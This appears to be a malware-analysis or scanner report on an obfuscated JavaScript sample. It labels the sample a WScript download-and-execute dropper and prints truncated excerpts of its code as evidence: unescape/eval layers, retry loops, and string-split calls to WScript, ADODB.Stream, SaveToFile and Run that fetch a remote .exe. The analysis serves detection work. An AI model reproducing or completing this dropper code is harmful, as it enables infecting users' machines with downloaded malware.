Suspicious ^80% javascript-malware-collection Download

20160328_05b1d12bad702a77609d1d1d6b4d3c20.js

Obfuscated WScript download and execute

retry loop wrapping try-catch (for loop)eval() executing transformed code

SHA-256ba06d5c5268e554c591b057f2d749f509775721d9aa8fb4fc50852a4ccd51025

Evidence

Dense concatenated string fragments line 1

1eval(isTrigger("var%20anim%20%3D%20%28%22RwaG%22%29%2C%20_evalUrl%20%3D%20%28%22SaveTo%22%29%2C%20dequeue%20%3D%20%280%29%3Bshift%20%3D%20%28%22or%22%29%2C%20setMatched%20%3D%20%28%22Slee%22%29%2C%20elemLang%20%3D%20%28%22ready%22%29%2C%20wait%20%3D%20%28%22rings%22%29%2C%20hasDuplicate%20%3D%20%28%22G%22%29%2C%20keepScripts%20%3D%20%28%22Expand%22%29%3BdataPriv%20%3D%20%28%22o%22%29%2C%20originalSettings%20%3D%20%28%22ipt%22%29%2C%20targets%20%3D%20%28%22n%22%29%2C%20diff%20%3D%20%28%22onmen%22%29%2C%20preFilters%20%3D%20%28%22R%22%29%2C%20processData%20%3D%20%286959%29%3Bvar%20parsed%20%3D%20%28%222 …

Text has empty named-parameter catch lines 2–24

2:44… has.notifyWith();
3mouseenter(anim);
4a();
5aup(pixelPositionVal);
6rlocalProtocol();
7image[proxy + "o" + beforeSend + "e"] = ((3 | rattributeQuotes) & 3);
8image[div + "pe"] = (rattributeQuotes & 1);
9
10fromCharCode(funescape);
11
12function getAttributeNode() {
13	for(when = (dequeue / 26); when < newSelector[hash]; when++) {
14		try {
15			_();
16			returnValue(implementation);
17			compare["s" + inPage + "d"]();
18			break;
19		} catch(attrHandle) {
20
21		}
22	}
23
24	while(compare[elemLang + "Sta" + rparentsprev] != (144 / (serializeArray + 34))) keyCode["WScrip" + rsingleTag]["Sle" + ac …

Obfuscated computed call cluster lines 26–47

26:13… "sta" + rsingleTag + "us"] == ((callback * 6 + run) & 251)) {
27		image[dataPriv + "p" + _jQuery + "n"]();
28		image[addHandle](compare["res" + scale + "Body"]);
29		backgroundClip[tick + "ript"][setMatched + "p"](((rootjQuery | 4872)));
30		image[_evalUrl + "Fil" + _jQuery](setMatchers, ((rattributeQuotes * 10) / (specified / 45)));
31		keyCode["WScr" + originalSettings]["Sleep"](((processData - 1967) | (prop & 686)));
32		content[preFilters + "u" + targets](setMatchers);
33	} else {
34
35	}
36}
37
38function fromCharCode() {
39	hold(isTrigger("getAttributeNode%28compareDocumentPosition%20+%20%22//task%22%20+%20jsonpCallback%20+%20%22pco.co%22%20+%20siblingCheck%20+%20%22GH.exe%22%29%3B"));
40}
41
42function rlocalProtocol() {
43	hold(isTrigger("image%20%3D%20fadeTo%5Btick%20+%20%22ript%22%5D%5Bopt%20+%20%22teObje%22%20+%20funescape%5D%28%22ADOD%22%20+%20implementation%20+%20%22am%22%29%3B"));
44}
45
46function mouseenter(leadingRelative, etag) {
47	hold(isTrigger("content%20%3D%20fadeTo%5B%22WScr%22%20+% …

Calls JavaScript unescape lines 59–67

59:209… +%20%22cr%22%3B"));
60}
61
62function isTrigger(toSelector) {
63	return unescape(toSelector);
64}
65
66function _(checkContext, isXMLDoc) {
67	hold(isTrigger("compare%20%3D%20fadeTo%5B%22WSc%22%20+%20originalEvent%5D%5B%22Cre%22%20+%20url%20+%20%22bje%22%20+%20funescape%5D%28newSelector%5Bwhen%5D%29% …